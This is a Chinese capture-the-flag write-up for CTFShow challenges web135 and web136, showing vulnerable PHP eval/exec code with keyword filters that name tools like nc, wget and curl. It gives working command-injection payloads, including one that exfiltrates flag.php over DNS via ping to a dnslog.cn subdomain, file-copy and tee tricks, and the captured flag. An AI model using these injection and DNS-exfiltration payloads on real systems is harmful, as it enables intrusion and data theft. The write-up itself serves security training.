CTFShow-web135~web136
web135
原始信息
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
解题
其它什么的先不说,先看官方给的WP:
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据
让后……
在DNSLOG以及相关的网站死活带外不出去……
别提有多裂开了。
看了下解题的视频,有个比较灵活的大佬说可以修改文件或者复制文件读取,于是乎试验了下,踩了踩坑,才发现这个卡了我差不多几小时的题目是这么个玩法……
# 前面保持不变,改变后面shell的地方:
GET:?F=`$F`;+`cp flag.php flag.txt`
# 然后访问那个被你copy的flag.txt即可
# 记住,有txt的一定是明文,可以直接读取的。
# 不过既然都有cp操作了,那nl直接导入不就行了?
# 显然,这个题目的操作不止带外一种
这个是做视频的前辈写的shell:
GET:?F=`$F`;+ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.ske28a.dnslog.cn -c 1
web136
原始信息
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
解题
这个一个带waf的Linux shell,需要传入Linux命令读取其中的内容再返还到某个文件下载即可
因为限制了很多符号和执行函数,其中也包括了点,导致无法写成类似于.txt的形式进行在线访问。
最终只能无后缀下载。
# tee是Linux的一个输出处理命令
GET: ?c=ls /|tee f
下载后打开文件:
bin
dev
etc
f149_15_h3r3
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
GET: ?c=cat /f149_15_h3r3|tee f
下载后打开文件:
ctfshow{a8cfeb83-46f9-4d7c-877d-64a8bad084e4}
# ?c=cat /f149_15_h3r3|tee f
# 可以变式为:
# ?c=nl /f149_15_h3r3|tee f

浙公网安备 33010602011771号